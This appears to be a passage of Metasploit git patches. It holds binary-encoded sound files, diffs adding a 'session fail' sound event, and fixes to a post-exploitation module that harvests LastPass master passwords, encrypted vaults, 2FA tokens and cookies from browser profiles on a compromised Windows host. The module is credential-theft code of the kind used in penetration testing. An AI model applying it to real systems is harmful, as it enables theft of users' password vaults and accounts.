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 literal 0 HcmV?d00001 diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 4d3fba0d8f..d3b9747484 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -155,7 +155,14 @@ class Exploit # If we didn't run a payload handler for this exploit it doesn't # make sense to complain to the user that we didn't get a session unless (mod.datastore["DisablePayloadHandler"]) - print_status("Exploit completed, but no session was created.") + fail_msg = 'Exploit completed, but no session was created.' + print_status(fail_msg) + begin + framework.events.on_session_fail(fail_msg) + rescue ::Exception => e + wlog("Exception in on_session_open event handler: #{e.class}: #{e}") + wlog("Call Stack\n#{e.backtrace.join("\n")}") + end end end end diff --git a/lib/msf/ui/console/framework_event_manager.rb b/lib/msf/ui/console/framework_event_manager.rb index a073a83b1d..b7f4bee872 100644 --- a/lib/msf/ui/console/framework_event_manager.rb +++ b/lib/msf/ui/console/framework_event_manager.rb @@ -37,6 +37,9 @@ module FrameworkEventManager end end + def on_session_fail(reason='') + end + # # Called when a session is closed and removed from the framework. # diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 1db8e3bef5..7cd7dd84d8 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,11 +14,8 @@ module Msf class Plugin::EventSounds < Msf::Plugin - SESSION_CLOSE = 'try_harder' - SESSION_OPEN = 'excellent' - - attr_accessor :theme, :base, :queue, :queue_thread + attr_reader :try_harder, :session_open, :excellent include Msf::SessionEvent @@ -27,11 +24,16 @@ class Plugin::EventSounds < Msf::Plugin end def on_session_open(session) - play_sound(SESSION_OPEN) + sound = [excellent, session_open].sample + play_sound(sound) end def on_session_close(session, reason='') - play_sound(SESSION_CLOSE) + play_sound(session_close) + end + + def on_session_fail(reason='') + play_sound(try_harder) end def on_plugin_load @@ -67,9 +69,18 @@ class Plugin::EventSounds < Msf::Plugin end + def init_sound_paths + @try_harder = 'try_harder' + @session_open = 'session_open' + @excellent = 'excellent' + end + + def initialize(framework, opts) super + init_sound_paths + self.queue = [] self.theme = opts['theme'] || 'default' self.base = File.join(Msf::Config.data_directory, "sounds") From 9d747e67a32d672bbf8a9f46b0ed7c5fe93e90cb Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Wed, 25 Nov 2015 21:28:07 -0800 Subject: [PATCH 1338/2172] Fix bugs in new Firefox creds storage --- modules/post/multi/gather/lastpass_creds.rb | 171 +++++++------------- 1 file changed, 57 insertions(+), 114 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 9a6fb32546..96a4981498 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -74,12 +74,14 @@ class Metasploit3 < Msf::Post browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'IE' => "HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\LastPass", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" } localstorage_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", 'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass", + 'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } @@ -136,12 +138,12 @@ class Metasploit3 < Msf::Post if db_paths && db_paths.size > 0 account_map[account][browser]['lp_db_path'] = db_paths if session.type == "meterpreter" - account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox' - account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if client.fs.file.exists?(cookies_path_map[browser]) || browser == 'Firefox' + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) + account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if client.fs.file.exists?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'].gsub("prefs.js", "cookies.sqlite") if client.fs.file.exists?(cookies_path_map[browser]['lp_db_path']) && browser == 'Firefox' else # session.type == "shell" - account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser == 'Firefox' - account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if session.shell_command("ls \"#{cookies_path_map[browser]}\"").strip == cookies_path_map[browser].strip || browser == 'Firefox' + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser.match(/Firefox|IE/) + account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if session.shell_command("ls \"#{cookies_path_map[browser]}\"").strip == cookies_path_map[browser].strip || browser.match(/Firefox|IE/) #account_map[account][browser]['cookies_db'] = cookies_path_map[browser]['lp_db_path'] if session.shell_command("ls \"#{cookies_path_map[browser]['lp_db_path']}\"").strip == cookies_path_map[browser]['lp_db_path'].strip && browser == 'Firefox' end else @@ -158,7 +160,9 @@ class Metasploit3 < Msf::Post paths = [] vprint_status "Checking #{account}'s #{browser}" - if browser == "Firefox" # Special case for Firefox + if browser == "IE" # Special case for IE + ## Check the Registry to see if there are any accounts. if not return empty array "paths" + elsif browser == "Firefox" # Special case for Firefox profiles = firefox_profile_files(path, browser) paths |= profiles else @@ -265,21 +269,21 @@ class Metasploit3 < Msf::Post # Extract master passwords path = localstorage_db_path + client.fs.file.separator + "lp.loginpws" - data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + begin + data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + rescue EOFError + vprint_error "File #{path} is empty" + data = nil + end data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection - data.blank? ? return : data = Base64.decode64(data) + return credentials if data.blank? # No passwords stored creds_per_user = data.split("|") - creds_per_user.each do |user_creds| + creds_per_user.each_with_index do |user_creds, index| parts = user_creds.split('=') - for creds in credentials # Check if we have the username already - if creds[0] == parts[0] - creds[1] = parts[1] # Add the password to the existing username - else - credentials << parts if parts.size > 1 # Add full credentials - end + for creds in credentials + creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username end end - credentials end @@ -311,18 +315,8 @@ class Metasploit3 < Msf::Post account_map[account][browser]['lp_creds'] = {} if browser == 'Firefox' paths['lp_db_path'].each do |path| - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) - - # Extract usernames and passwords from preference file - ffcreds = firefox_credentials(loot_path, paths['localstorage_db'] ) + loot_path = loot_file(path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file #{path}") + ffcreds = firefox_credentials(loot_path, paths['localstorage_db'] ) # Extract usernames and passwords from preference file unless ffcreds.blank? ffcreds.each do |creds| if creds[1].blank? # No master password found @@ -339,15 +333,7 @@ class Metasploit3 < Msf::Post end else # Chrome, Safari and Opera paths['lp_db_path'].each do |path| - data = read_file(path) - loot_path = store_loot( - "#{browser.downcase}.lastpass.database", - 'application/x-sqlite3', - session, - data, - nil, - "#{account}'s #{browser} LastPass database #{path}" - ) + loot_path = loot_file(path, nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{path}") account_map[account][browser]['lp_db_loot'] = loot_path # Parsing/Querying the DB @@ -379,27 +365,10 @@ class Metasploit3 < Msf::Post path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid" data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection - loot_path = store_loot( - 'firefox.preferences', - 'text/binary', - session, - data, - nil, - "Firefox 2FA token file #{path}" - ) + loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera - data = read_file(lp_data['localstorage_db']) - loot_path = store_loot( - "#{browser.downcase}.lastpass.localstorage", - 'application/x-sqlite3', - session, - data, - nil, - "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}" - ) - - # Parsing/Querying the DB + loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") db = SQLite3::Database.new(loot_path) token = db.execute( "SELECT hex(value) FROM ItemTable " \ @@ -430,15 +399,7 @@ class Metasploit3 < Msf::Post unless account_map.empty? print_good lastpass_data_table.to_s - path = store_loot( - "lastpass.data", - "text/csv", - session, - lastpass_data_table.to_csv, - nil, - "LastPass Data" - ) - + loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data") print_vault_passwords(account_map) end end @@ -447,38 +408,23 @@ class Metasploit3 < Msf::Post account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - if browser == 'Firefox' - path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" - iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + if browser.match(/Firefox|IE/) + if browser == "Firefox" + iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" + else # IE + iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr" + end + iterations = read_file(iterations_path) if client.fs.file.exists?(iterations_path) # Read file if it exists iterations = nil if iterations.blank? # Verify content lp_data['lp_creds'][username]['iterations'] = iterations - loot_path = store_loot( - "#{browser.downcase}.lastpass.iterations", - 'text/plain', - session, - iterations, - nil, - "#{account}'s #{browser} LastPass iterations" - ) - path = client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) - if client.fs.file.exists?(path + "_lps.act.sxml") - path = path + "_lps.act.sxml" - elsif client.fs.file.exists?(path + "_lps.sxml") - path = path + "_lps.sxml" - else - next # No vault found - end - vault = read_file(path) + + # Find encrypted vault + vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" + vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" if !client.fs.file.exists?(vault_path) + vault = read_file(vault_path) vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection - vault = vault.sub(/iterations=.*;/, "") # Remove iterations info - loot_path = store_loot( - "#{browser.downcase}.lastpass.vault", - 'text/plain', - session, - vault, - nil, - "#{account}'s #{browser} LastPass Vault" - ) + vault = vault.sub(/iterations=.*;/, "") if client.fs.file.exists?(vault_path) # Remove iterations info + loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") lp_data['lp_creds'][username]['vault_loot'] = loot_path else # Chrome, Safari and Opera @@ -491,27 +437,11 @@ class Metasploit3 < Msf::Post if result.size == 1 && !result[0].blank? if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0] lp_data['lp_creds'][username]['iterations'] = iterations - loot_path = store_loot( - "#{browser.downcase}.lastpass.iterations", - 'text/plain', - session, - vault, - nil, - "#{account}'s #{browser} LastPass iterations" - ) - lp_data['lp_creds'][username]['vault_loot'] = loot_path else lp_data['lp_creds'][username]['iterations'] = 1 - loot_path = store_loot( - "#{browser.downcase}.lastpass.vault", - 'text/plain', - session, - result[0][0], - nil, - "#{account}'s #{browser} LastPass Vault" - ) - lp_data['lp_creds'][username]['vault_loot'] = loot_path end + loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") + lp_data['lp_creds'][username]['vault_loot'] = loot_path else lp_data['lp_creds'][username]['iterations'] = nil lp_data['lp_creds'][username]['vault_loot'] = nil @@ -525,13 +455,13 @@ class Metasploit3 < Msf::Post def extract_vault_keys(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| - browser_checked = false # Track if local stored vault key was already decrypted for this browser + browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie) lp_data['lp_creds'].each_pair do |username, user_data| if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP if !browser_checked - decrypt_local_vault_key(account, browser_map) + #decrypt_local_vault_key(account, browser_map) browser_checked = true end if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP @@ -570,7 +500,6 @@ class Metasploit3 < Msf::Post nil, "#{account}'s #{browser} cookies DB" ) - # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) begin @@ -799,4 +728,18 @@ class Metasploit3 < Msf::Post end end + # Reads a remote file and loots it + def loot_file(path, data, title, type, description) + data = read_file(path) if data == nil + loot_path = store_loot( + title, + type, + session, + data, + nil, + description + ) + return loot_path + end + end From d44224142eeb478edf54867d548e011d69e7dc27 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 25 Nov 2015 23:41:18 -0600 Subject: [PATCH 1339/2172] Update audio files --- data/sounds/default/excellent.mp3 | Bin 15488 -> 15906 bytes data/sounds/default/exploit_worked.mp3 | Bin 0 -> 23429 bytes .../{session_open.mp3 => got_a_shell.mp3} | Bin data/sounds/default/wonderful.mp3 | Bin 0 -> 10055 bytes plugins/sounds.rb | 22 ++++++++++++------ 5 files changed, 15 insertions(+), 7 deletions(-) create mode 100755 data/sounds/default/exploit_worked.mp3 rename data/sounds/default/{session_open.mp3 => got_a_shell.mp3} (100%) create mode 100755 data/sounds/default/wonderful.mp3 diff --git a/data/sounds/default/excellent.mp3 b/data/sounds/default/excellent.mp3 index 0079af7937b1a88db7c284707261d3d5ffc101d2..ed98378a7dd9f835176716027aa76a5f7bd30c73 100755 GIT binary patch literal 15906 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 